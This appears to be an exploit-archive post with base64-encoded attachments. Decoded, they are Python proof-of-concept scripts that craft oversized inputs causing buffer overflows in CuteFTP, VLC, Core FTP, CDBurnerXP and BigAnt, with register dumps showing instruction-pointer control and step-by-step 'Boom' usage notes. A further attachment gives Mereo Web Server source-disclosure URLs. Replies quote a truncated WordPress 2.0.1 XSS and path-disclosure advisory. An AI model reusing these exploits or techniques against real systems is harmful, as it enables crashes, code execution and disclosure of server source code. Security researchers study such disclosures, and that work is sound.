Multiple Vulnerabilities

--=_200132cbefd1702ac83b0059e55cb8c9
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset="UTF-8"

Usually I submit via milw0rm but it has been unresponsive all week. 

Here are a few new vulnerabilities and updates.

-Dr_IDE
--=_200132cbefd1702ac83b0059e55cb8c9
Content-Transfer-Encoding: base64
Content-Type: text/plain;
 name="Dr_IDE-CuteFTP_FTP_8.3.3-PoC.py"; 
Content-Disposition: attachment;
 filename="Dr_IDE-CuteFTP_FTP_8.3.3-PoC.py"; 

IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjDQojDQojIEN1dGVGVFAgdjguMy4zIEhvbWUvUHJvL0xpdGUgQ3JlYXRlIE5l
dyBTaXRlIExvY2FsIEJ1ZmZlciBPdmVyZmxvdyBQb0MNCiMgRm91bmQgQnk6CURyX0lERQ0KIyBE
b3dubG9hZDogCWh0dHA6Ly93d3cuY3V0ZWZ0cC5jb20vZG93bmxvYWRzLw0KIyBUZXN0ZWQgT246
CVdpbmRvd3MgNyBSQywgWFAgbWlnaHQgYmUgbW9yZSBzaGVsbCBmcmllbmRseQ0KIyBOb3Rlczog
CVRoaXMgUG9DIGV4cGxvaXRzIHRoZSAiQ3JlYXRlIE5ldyBTaXRlIiBtZWNoYW5pc20uIEFueSBz
aXRlIHR5cGUgdGhhdCB5b3UgcGljayB3aWxsIHdvcmsuDQojIAkJQmVjYXVzZSBvZiBkaWZmZXJl
bmNlcyBpbiB0aGUgaW50ZXJuYWwgcHJvY2VzcyBvZiBlYWNoIHNpdGUgdHlwZSB5b3UgbWF5IGJl
IGFibGUgdG8gZ2V0DQojCQlleGVjdXRpb24gdGhyb3VnaCBvbmUgb2YgdGhlc2UgY2hhbm5lbHMu
DQojDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoiIiIN
CkVBWCAwMjEyMDAwMA0KRUNYIDAyMjhCQTkwIEFTQ0lJICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkVEWCA0MTQxNDE0MQ0K
RUJYIDAwMDA0MTQxDQpFU1AgMDAxOEMxNjANCkVCUCAwMDE4QzIzMA0KRVNJIDAyMjhCQTg4DQpF
REkgNDE0MTQxNDENCkVJUCA3Nzg0MzkxMyBudGRsbC43Nzg0MzkxMw0KQyAwICBFUyAwMDJCIDMy
Yml0IDAoRkZGRkZGRkYpDQpQIDAgIENTIDAwMjMgMzJiaXQgMChGRkZGRkZGRikNCkEgMSAgU1Mg
MDAyQiAzMmJpdCAwKEZGRkZGRkZGKQ0KWiAwICBEUyAwMDJCIDMyYml0IDAoRkZGRkZGRkYpDQpT
IDAgIEZTIDAwNTMgMzJiaXQgN0VGREQwMDAoRkZGKQ0KVCAwICBHUyAwMDJCIDMyYml0IDAoRkZG
RkZGRkYpDQpEIDANCk8gMCAgTGFzdEVyciBFUlJPUl9TVUNDRVNTICgwMDAwMDAwMCkNCkVGTCAw
MDAxMDIxMiAoTk8sTkIsTkUsQSxOUyxQTyxHRSxHKQ0KU1QwIGVtcHR5IC0/Pz8gRkZGRiAwMDAw
MDBGRiAwMEZGMDBGRg0KU1QxIGVtcHR5IC0/Pz8gRkZGRiAwMDAwMDAwMCAwMDAwODIwMA0KU1Qy
IGVtcHR5IC0/Pz8gRkZGRiAwMDAxMDAwMCAwMDAxMDAwMA0KU1QzIGVtcHR5IDQzMS45OTk5OTAz
NDQwNDc1NDY0MA0KU1Q0IGVtcHR5IDEuMDAwMDAwMDAwMDAwMDAwMDAwMA0KU1Q1IGVtcHR5IDEu
MDAwMDAwMDAwMDAwMDAwMDAwMA0KU1Q2IGVtcHR5IDE2LjAwMDAwMDAwMDAwMDAwMDAwMA0KU1Q3
IGVtcHR5IDE2LjAwMDAwMDAwMDAwMDAwMDAwMA0KICAgICAgICAgICAgICAgMyAyIDEgMCAgICAg
IEUgUyBQIFUgTyBaIEQgSQ0KRlNUIDQwMjAgIENvbmQgMSAwIDAgMCAgRXJyIDAgMCAxIDAgMCAw
IDAgMCAgKEVRKQ0KRkNXIDAyN0YgIFByZWMgTkVBUiw1MyAgTWFzayAgICAxIDEgMSAxIDEgMQ0K
DQoiIiINCg0KYnVmZiA9ICgiXHg0MSIgKiAyMDAwMCkNCg0KdHJ5Og0KCWYxID0gb3BlbigiQ3V0
ZUZUUC50eHQiLCJ3Iik7DQoJZjEud3JpdGUoYnVmZik7DQoJZjEuY2xvc2UoKTsNCg0KCXByaW50
ICJcbkN1dGVGVFAgdjguMy4yIEhvbWUvUHJvL0xpdGUgQ3JlYXRlIE5ldyBTaXRlIExvY2FsIEJ1
ZmZlciBPdmVyZmxvdyBQb0MiDQoJcHJpbnQgIkJ5OiBEcl9JREUiDQoJcHJpbnQgIlxuRmlsZSBD
cmVhdGVkIFN1Y2Nlc3NmdWxseS5cbiINCglwcmludCAiVXNhZ2U6XG4gWy1dIENsaWNrIEZpbGVc
biBbLV0gQ3JlYXRlIE5ldyBGVFAgU2l0ZVxuIFstXSBQYXN0ZSBTdHJpbmcgaW50byBMYWJlbCBG
aWVsZFxuIFstXSBFbnRlciBhbnl0aGluZyBmb3IgQWRkcmVzc1xuIFstXSBDbGljayBDb25uZWN0
XG4gWy1dIEJvb20uIg0KZXhjZXB0Og0KCXByaW50ICJbLV0gRXJyb3IuIEZpbGUgY291bGRuJ3Qg
YmUgY3JlYXRlZC4i
--=_200132cbefd1702ac83b0059e55cb8c9
Content-Transfer-Encoding: base64
Content-Type: text/plain;
 name="Dr_IDE_VLC.1.0.2.py"; 
Content-Disposition: attachment;
 filename="Dr_IDE_VLC.1.0.2.py"; 

IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIw0KIyBW
TEMgTWVkaWEgUGxheWVyIDEuMC4yIHNtYjovLyBVUkkgSGFuZGxpbmcgUmVtb3RlIFN0YWNrIE92
ZXJmbG93IFBvQw0KIyBGb3VuZCBCeToJRHJfSURFDQojIFRlc3RlZDoJV2luZG93cyBYUCBTUDIg
LCBYUCBTUDMgYW5kIFdpbmRvd3MgNyBSQzEgd2l0aCBWTEMgMS4wLjIgIkdvbGRlbmV5ZSINCiMg
RG93bmxvYWQ6CWh0dHA6Ly9tYWpvcmdlZWtzLmNvbS9kb3dubG9hZGdldC5waHA/aWQ9NDY3NCZm
aWxlPTEmZXZwPWE4N2QxYjUwMjY5YmEyNzg3ODg5OWQzMGVjN2NkOTQ3DQojDQojIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCiMgWFBTUDMgQ3Jhc2gg
DQoiIiINCkVBWCBGRkZGRkZGRQ0KRUNYIDQyNDI0MjQyICAgICAgICA8LS0tLS0tLS0tIHcwMHQh
DQpFRFggMDAwMDAwMDANCkVCWCA0MjQyNDI0Mg0KRVNQIDAyRUFGNjk0DQpFQlAgMDJFQUY3QzQN
CkVTSSA2MUNDODMyNCBsaWJhY2NfNC42MUNDODMyNA0KRURJIDYxQ0M4MzIzIGxpYmFjY180LjYx
Q0M4MzIzDQpFSVAgNzdDNDc4QUMgbXN2Y3J0Ljc3QzQ3OEFDDQpDIDAgIEVTIDAwMjMgMzJiaXQg
MChGRkZGRkZGRikNClAgMCAgQ1MgMDAxQiAzMmJpdCAwKEZGRkZGRkZGKQ0KQSAwICBTUyAwMDIz
IDMyYml0IDAoRkZGRkZGRkYpDQpaIDAgIERTIDAwMjMgMzJiaXQgMChGRkZGRkZGRikNClMgMCAg
RlMgMDAzQiAzMmJpdCA3RkZBQzAwMChGRkYpDQpUIDAgIEdTIDAwMDAgTlVMTA0KRCAwDQpPIDAg
IExhc3RFcnIgRVJST1JfTU9EX05PVF9GT1VORCAoMDAwMDAwN0UpDQpFRkwgMDAwMTAyMDIgKE5P
LE5CLE5FLEEsTlMsUE8sR0UsRykNClNUMCBlbXB0eSAtVU5PUk0gRkIxOCAwMTg0QTFDMCAwMEFE
NDUxOA0KU1QxIGVtcHR5ICtVTk9STSAyMDg4IDAwMDAwMDAwIDAwMDAwMDAwDQpTVDIgZW1wdHkg
MC4zOTg3NDg4NzYwNzM4ODA2NzgwZS00OTMzDQpTVDMgZW1wdHkgLT8/PyBGRkZGIDAwMDAwMDAw
IDc3QzJDNDJFDQpTVDQgZW1wdHkgK1VOT1JNIDBCMTAgMDBCMDk0RTggMDAwMDAwMDANClNUNSBl
bXB0eSAwLjM5ODc0ODYyNTY0MzEyODczNzBlLTQ5MzMNClNUNiBlbXB0eSAwLjANClNUNyBlbXB0
eSAtMC4yNjUwNzEwODk0MzU2MzAyOTE2DQogICAgICAgICAgICAgICAzIDIgMSAwICAgICAgRSBT
IFAgVSBPIFogRCBJDQpGU1QgMDAyMCAgQ29uZCAwIDAgMCAwICBFcnIgMCAwIDEgMCAwIDAgMCAw
ICAoR1QpDQpGQ1cgMDI3RiAgUHJlYyBORUFSLDUzICBNYXNrICAgIDEgMSAxIDEgMSAxDQoNCiIi
Ig0KaGVhZGVyMSA9ICAoIjw/eG1sIHZlcnNpb249XCIxLjBcIiBlbmNvZGluZz1cIlVURi04XCI/
PlxuIikNCmhlYWRlcjEgKz0gKCI8cGxheWxpc3QgdmVyc2lvbj1cIjFcIiB4bWxucz1cImh0dHA6
Ly94c3BmLm9yZy9ucy8wL1wiIHhtbG5zOnZsYz1cImh0dHA6Ly93d3cudmlkZW9sYW4ub3JnL3Zs
Yy9wbGF5bGlzdC9ucy8wL1wiPlxuIikNCmhlYWRlcjEgKz0gKCJcdDx0aXRsZT5QbGF5bGlzdDwv
dGl0bGU+XG4iKQ0KaGVhZGVyMSArPSAoIlx0PHRyYWNrTGlzdD5cbiIpDQpoZWFkZXIxICs9ICgi
XHRcdDx0cmFjaz5cbiIpDQpoZWFkZXIxICs9ICgiXHRcdFx0PGxvY2F0aW9uPnNtYjovL2V4YW1w
bGUuY29tQHd3dy5leGFtcGxlLmNvbS9mb28vI3siKQ0KDQpwYXlsb2FkID0gKCJceDQxIiAqIDIg
KyAiXHg0MiIgKiA0ICsgIlx4NDMiICogMTAwMDApDQoNCmhlYWRlcjIgPSAgKCJ9PC9sb2NhdGlv
bj5cbiIpOw0KaGVhZGVyMiArPSAoIlx0XHRcdDxleHRlbnNpb24gYXBwbGljYXRpb249XCJodHRw
Oi8vd3d3LnZpZGVvbGFuLm9yZy92bGMvcGxheWxpc3QvMFwiPlxuIik7DQpoZWFkZXIyICs9ICgi
XHRcdFx0XHQ8dmxjOmlkPjA8L3ZsYzppZD5cbiIpOw0KaGVhZGVyMiArPSAoIlx0XHRcdDwvZXh0
ZW5zaW9uPlxuIik7DQpoZWFkZXIyICs9ICgiXHRcdDwvdHJhY2s+XG4iKTsNCmhlYWRlcjIgKz0g
KCJcdDwvdHJhY2tMaXN0PlxuIik7DQpoZWFkZXIyICs9ICgiPC9wbGF5bGlzdD5cbiIpOw0KDQp0
cnk6DQogICAgZjEgPSBvcGVuKCJ2bGNfMS4wLjIueHNwZiIsInciKQ0KICAgIGYxLndyaXRlKGhl
YWRlcjEgKyBwYXlsb2FkICsgaGVhZGVyMikNCiAgICBmMS5jbG9zZSgpDQogICAgcHJpbnQoIlxu
RXhwbG9pdCBmaWxlIGNyZWF0ZWQhXG4iKQ0KZXhjZXB0Og0KICAgIHByaW50ICJFcnJvciINCg==
--=_200132cbefd1702ac83b0059e55cb8c9
Content-Transfer-Encoding: base64
Content-Type: text/plain;
 name="coreftp_local.py"; 
Content-Disposition: attachment;
 filename="coreftp_local.py"; 

IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIw0K
IyBDb3JlIEZUUCBMRSB2Mi4xIGJ1aWxkIDE2MTIgTG9jYWwgQnVmZmVyIE92ZXJmbG93IFBvQyAo
VW5pY29kZSkNCiMgRm91bmQgQnk6CURyX0lERQ0KIyBUZXN0ZWQgT246CVhQU1AzLCA3UkMNCiMg
Tm90ZXM6CU1vc3QgbGlrZWx5IG90aGVyIHZlcnNpb25zIGFyZSB2dWxuZXJhYmxlIHRvby4NCiMg
VXNhZ2U6CUZpbGUsIFF1aWNrIENvbm5lY3QsIFBhc3RlIGludG8gSG9zdG5hbWUsIENvbm5lY3QN
CiMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQojIFJlZ2lzdGVyIER1bXAgb24gWFBT
UDMNCiIiIg0KRUFYIDAwMDAwMDY0DQpFQ1ggMDA0MTAwNDEgY29yZWZ0cC4wMDQxMDA0MQ0KRURY
IDAwNTRGODQwIGNvcmVmdHAuMDA1NEY4NDANCkVCWCAwMjZFMkZGQw0KRVNQIDAzMjFFOTU4IFVO
SUNPREUgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiDQpFQlAg
MDA0MTAwNDEgY29yZWZ0cC4wMDQxMDA0MQ0KRVNJIDAyNjlDQzMwDQpFREkgMDRCQjZBNTggVU5J
Q09ERSAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSINCkVJUCAw
MDQxMDA0MSBjb3JlZnRwLjAwNDEwMDQxDQpDIDAgIEVTIDAwMkIgMzJiaXQgMChGRkZGRkZGRikN
ClAgMCAgQ1MgMDAyMyAzMmJpdCAwKEZGRkZGRkZGKQ0KQSAwICBTUyAwMDJCIDMyYml0IDAoRkZG
RkZGRkYpDQpaIDAgIERTIDAwMkIgMzJiaXQgMChGRkZGRkZGRikNClMgMCAgRlMgMDA1MyAzMmJp
dCA3RUZENzAwMChGRkYpDQpUIDAgIEdTIDAwMkIgMzJiaXQgMChGRkZGRkZGRikNCkQgMA0KTyAw
ICBMYXN0RXJyIFdTQUhPU1RfTk9UX0ZPVU5EICgwMDAwMkFGOSkNCkVGTCAwMDAxMDIwMiAoTk8s
TkIsTkUsQSxOUyxQTyxHRSxHKQ0KU1QwIGVtcHR5IDAuMA0KU1QxIGVtcHR5IDAuMA0KU1QyIGVt
cHR5IDAuMA0KU1QzIGVtcHR5IDAuMA0KU1Q0IGVtcHR5IDAuMA0KU1Q1IGVtcHR5IDAuMA0KU1Q2
IGVtcHR5IDAuMA0KU1Q3IGVtcHR5IDAuMA0KICAgICAgICAgICAgICAgMyAyIDEgMCAgICAgIEUg
UyBQIFUgTyBaIEQgSQ0KRlNUIDAwMDAgIENvbmQgMCAwIDAgMCAgRXJyIDAgMCAwIDAgMCAwIDAg
MCAgKEdUKQ0KRkNXIDAyN0YgIFByZWMgTkVBUiw1MyAgTWFzayAgICAxIDEgMSAxIDEgMQ0KIiIi
DQoNCiMgQWZ0ZXIgUGFzc2luZyBFeGNlcHRpb24gb24gWFBTUDMNCiMgRUlQIDAwNDEwMDQxIGNv
cmVmdHAuMDA0MTAwNDENCg0KYnVmZiA9ICgiXHg0MSIgKiA2MDAwKQ0KDQpmMSA9IG9wZW4oImNv
cmVmdHBsZS50eHQiLCJ3IikNCmYxLndyaXRlKGJ1ZmYpDQpmMS5jbG9zZSgpDQo=
--=_200132cbefd1702ac83b0059e55cb8c9
Content-Transfer-Encoding: base64
Content-Type: text/plain;
 name="cdburnerXP.py"; 
Content-Disposition: attachment;
 filename="cdburnerXP.py"; 

IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIw0K
IyBDREJ1cm5lclhQIHYgNC4yLjQuMTM1MSBMb2NhbCBDcmFzaCBQb0MNCiMgRm91bmQgQnk6CURy
X0lERQ0KIyBUZXN0ZWQgT246CVhQU1AzLCA3UkMNCiMgVXNhZ2U6CUNyZWF0ZSBOZXcgRGF0YSBE
aXNjLCBBZGQgYSBGb2xkZXIsIFBhc3RlIHRvIFJlbmFtZSBGb2xkZXIsIENsaWNrIFNhdmUgQ29t
cGlsYXRpb24gYXMgSVNPDQojIE5vdGVzOglTdXBlciBsYW1lIGFuZCBtb3N0IGxpa2VseSBub3Qg
ZXhwbG9pdGFibGUuDQojDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KJycnDQpFcnJv
ciBNZXNzYWdlOg0KU3lzdGVtLk51bGxSZWZlcmVuY2VFeGNlcHRpb246IE9iamVjdCByZWZlcmVu
Y2Ugbm90IHNldCB0byBhbiBpbnN0YW5jZSBvZiBhbiBvYmplY3QuDQogICBhdCBDREJ1cm5lclhQ
LkNvbnRyb2xzLkZpbGVMYXlvdXRNYW5hZ2VyLlNhdmVBc0lzbyhTdHJpbmcgZmlsZW5hbWUpDQog
ICBhdCBDREJ1cm5lclhQX1Byby5mcm1EYXRhQ29tcGlsYXRpb24ubW51U2F2ZUlTT19DbGljayhP
YmplY3Qgc2VuZGVyLCBFdmVudEFyZ3MgZSkNCiAgIGF0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLk1l
bnVJdGVtLk9uQ2xpY2soRXZlbnRBcmdzIGUpDQogICBhdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5N
ZW51SXRlbS5NZW51SXRlbURhdGEuRXhlY3V0ZSgpDQogICBhdCBTeXN0ZW0uV2luZG93cy5Gb3Jt
cy5Db21tYW5kLkludm9rZSgpDQogICBhdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Db21tYW5kLkRp
c3BhdGNoSUQoSW50MzIgaWQpDQogICBhdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Db250cm9sLldt
Q29tbWFuZChNZXNzYWdlJiBtKQ0KICAgYXQgU3lzdGVtLldpbmRvd3MuRm9ybXMuQ29udHJvbC5X
bmRQcm9jKE1lc3NhZ2UmIG0pDQogICBhdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5TY3JvbGxhYmxl
Q29udHJvbC5XbmRQcm9jKE1lc3NhZ2UmIG0pDQogICBhdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5D
b250YWluZXJDb250cm9sLlduZFByb2MoTWVzc2FnZSYgbSkNCiAgIGF0IFN5c3RlbS5XaW5kb3dz
LkZvcm1zLkZvcm0uV25kUHJvYyhNZXNzYWdlJiBtKQ0KICAgYXQgQ0RCdXJuZXJYUC5Gb3Jtcy5C
YXNlRm9ybS5XbmRQcm9jKE1lc3NhZ2UmIG0pDQogICBhdCBDREJ1cm5lclhQX1Byby5tZGlNYWlu
LlduZFByb2MoTWVzc2FnZSYgbSkNCiAgIGF0IFN5c3RlbS5XaW5kb3dzLkZvcm1zLkNvbnRyb2wu
Q29udHJvbE5hdGl2ZVdpbmRvdy5Pbk1lc3NhZ2UoTWVzc2FnZSYgbSkNCiAgIGF0IFN5c3RlbS5X
aW5kb3dzLkZvcm1zLkNvbnRyb2wuQ29udHJvbE5hdGl2ZVdpbmRvdy5XbmRQcm9jKE1lc3NhZ2Um
IG0pDQogICBhdCBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5OYXRpdmVXaW5kb3cuQ2FsbGJhY2soSW50
UHRyIGhXbmQsIEludDMyIG1zZywgSW50UHRyIHdwYXJhbSwgSW50UHRyIGxwYXJhbSkNCicnJw0K
DQpidWZmID0gKCJceDQxIiAqIDUwMDApDQoNCmYxID0gb3BlbigiY2RidXJuZXJ4cC50eHQiLCJ3
IikNCmYxLndyaXRlKGJ1ZmYpDQpmMS5jbG9zZSgpDQoNCg==
--=_200132cbefd1702ac83b0059e55cb8c9
Content-Transfer-Encoding: base64
Content-Type: text/plain;
 name="bigant_local2.py"; 
Content-Disposition: attachment;
 filename="bigant_local2.py"; 

IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIw0KIyBCaWdBbnQgU2Vy
dmVyIDw9IDIuNTAgU1A2IExvY2FsIChaSVAgRmlsZSkgQnVmZmVyIE92ZXJmbG93IFBvQyAjMg0K
IyBGb3VuZCBCeTogCURyX0lERQ0KIyBUZXN0ZWQ6ICAgCVhQU1AzDQojIFVzYWdlOglPcGVuIEJp
Z0FudCBDb25zb2xlLCBHbyB0byBQbHVnLUluLCBBZGQgb3VyIHppcCwgQm9vbS4NCiMNCiMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIw0KDQpidWZmID0gKCJceDQxIiAqIDEwMDAwKQ0KDQpmMSA9IG9wZW4oIkJpZ0Fu
dFBsdWdJbi56aXAiLCJ3IikNCmYxLndyaXRlKGJ1ZmYpDQpmMS5jbG9zZSgpDQo=
--=_200132cbefd1702ac83b0059e55cb8c9
Content-Transfer-Encoding: base64
Content-Type: text/plain;
 name="bigant_local1.py"; 
Content-Disposition: attachment;
 filename="bigant_local1.py"; 

IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIw0KIyBCaWdBbnQgU2Vy
dmVyIDw9IDIuNTAgU1A2IExvY2FsIChaSVAgRmlsZSkgQnVmZmVyIE92ZXJmbG93IFBvQyAjMg0K
IyBGb3VuZCBCeTogCURyX0lERQ0KIyBUZXN0ZWQ6ICAgCVhQU1AzDQojIFVzYWdlOglPcGVuIEJp
Z0FudCBDb25zb2xlLCBHbyB0byBVcGRhdGUsIEFkZCBvdXIgemlwLCBCb29tLg0KIw0KIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjDQoNCmJ1ZmYgPSAoIlx4NDEiICogMTAwMDApDQoNCmYxID0gb3BlbigiQmlnQW50
VXBkYXRlLnppcCIsInciKQ0KZjEud3JpdGUoYnVmZikNCmYxLmNsb3NlKCkNCg==
--=_200132cbefd1702ac83b0059e55cb8c9
Content-Transfer-Encoding: base64
Content-Type: text/plain;
 name="mereo_disclosure.txt"; 
Content-Disposition: attachment;
 filename="mereo_disclosure.txt"; 

IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojDQojIE1lcmVvIFdlYiBTZXJ2ZXIgdjEuOCBNdWx0
aXBsZSBSZW1vdGUgU291cmNlIENvZGUgRGlzY2xvc3VyZQ0KIyBGb3VuZCBCeToJCURyX0lERQ0K
IyBUZXN0ZWQgT246CVdpbmRvd3MgWFBTUDMNCiMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0K
DQotIERlc2NyaXB0aW9uIC0NCg0KTWVyZW8gV2ViIFNlcnZlciB2MS44IGlzIGEgV2luZG93cyBi
YXNlZCBIVFRQIHNlcnZlci4gVGhpcyBpcyB0aGUgbGF0ZXN0IHZlcnNpb24gb2YNCnRoZSBhcHBs
aWNhdGlvbiBhdmFpbGFibGUuIA0KDQpNZXJlbyBpcyB2dWxuZXJhYmxlIHRvIHJlbW90ZSBhcmJp
dHJhcnkgc291cmNlIGNvZGUgZGlzY2xvc3VyZSBieSB0aGUgZm9sbG93aW5nIG1lYW5zLg0KDQot
IFRlY2huaWNhbCBEZXRhaWxzIC0NCg0KCWh0dHA6Ly9bIHdlYnNlcnZlciBJUF0vWyBmaWxlIF1b
Ll0NCglodHRwOi8vWyB3ZWJzZXJ2ZXIgSVBdL1sgZmlsZSBdWzo6JERBVEFdDQoJDQoJaHR0cDov
LzE3Mi4xNi4yLjEwMS9pbmRleC5odG1sLg0KCWh0dHA6Ly8xNzIuMTYuMi4xMDEvaW5kZXguaHRt
bDo6JERBVEENCg==
--=_200132cbefd1702ac83b0059e55cb8c9--



Replies to this exploit:

From: office@punctweb.com
Sent: Wed 1. Feb 2006 08:53
Hello.

I foud this post by mistake (google search). Im the creator of MyCO Guestbook, an i have some mentions to make: this project is a very old one, it is not under development for about 3 years now. It was made in a hurry, with lots of laks in code structure and security bugs. I do not recomend online use of it ! It is not offered anymore to the online community. If the download is found on any other websites but www.punctweb.com it is not my responsability.

Thankyou for your understanding and please excuse my english (im not a very good english speaking guy).

With respect,
punctweb.com


From: Javor Ninov drfrancky@securax.org
Sent: Wed 1. Mar 2006 17:49
This is an OpenPGP/MIME signed message (RFC 2440 and 3156)
--------------enig402165911890719F9179F883
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

wp-content/ is also prone to directory listing


Javor Ninov aka DrFrancky

k4p0k4p0@hotmail.com wrote:
> /*
> ---------------------------------------------------------------
> [N]eo [S]ecurity [T]eam [NST]=AE WordPress 2.0.1 Multiple Vulnerabiliti=
es
> ---------------------------------------------------------------
> Program : WordPress 2.0
> Homepage: http://www.wordpress.org
> Vulnerable Versions: WordPress 2.0.1 & lower ones
> Risk: Critical!
> Impact: XSS, Full Path Disclosure, Directory Listing
>=20
> -> WordPress 2.0.1 Multiple Vulnerabilities <-
> ---------------------------------------------------------------
>=20
> - Description
> ---------------------------------------------------------------
> WordPress is a state-of-the-art semantic personal publishing=20
> platform with a focus on aesthetics, web standards, and usability.=20
> What a mouthful. WordPress is both free and priceless at the same time.=

>=20
> - Tested
> ---------------------------------------------------------------
> Tested in localhost & many blogs
>=20
> - Bug
> ---------------------------------------------------------------
> The vendor was contacted about some other coding errors that are not=20
> described here, the vendor was noticed about these bugs when this=20
> advisory was published.
>=20
> <+ Multiple XSS +>
> Therere multiple XSS in `post comment:
>=20
> [1] `name variable is not filtered when its assigned to `value
>     on the `<input> in the form when the comment its posted.
> [2] Happends the same as [1] with `website variable.
> [3] `comment, this variable only filtered " and  chars, this makes=20
>     possible to use < and >, thus this permit an attacker to inject=20
>     any HTML (or script) code that he/she want but without any " or =20
>     character, this only happends if the user that post the comment it=
s=20
>     the admin (any registered kind of `user).=20
>=20
> If you (or victim) is a unregistered user, you can use " and  in your =

> HTML/script Injection using `name or `website variables, but if the=20
> victim is the admin or a registered user these 2 fields described above=
=20
> arent availabe in the form so you cannot even give a value to them.
> The only remaining option its to use the `comment variable but here=20
> we have the problem that we cannot use " or  in HTML/SCRIPT Injected a=
nd=20
> we have to make the admin to post the comment (POST method).
>=20
> <+ Full path disclosure & Directory listing +>
> When I discovered this bug, I reported it to some pepople before=20
> public disclosure, I was noticed that this isnt new and I=20
> decided to look why they havent patch this bug.=20
>=20
> As this bug it isnt patched yet, I tryed to know why and I found=20
> something like this in their forum (I dont know if the person=20
> that posted this was the admin but it gives the explanation):
> (Something like the following, its not textual).
> `... these bugs are caused by badly configured .ini file, its not=20
> a bug generated by the script so it cannot be accepted as a bug of=20
> WordPress.... This is not an acceptable answer, if you think it is,=20
> a bug caused because of register_globals is Off its .ini fault and not=
=20
> the script, they have to be kidding, if they want to make good software=
,=20
> they have to make as far as the language can, to prevent all bugs.
>=20
> Therere multiple files that dont check if they are been call=20
> directly. This is a problem because they expect that functions=20
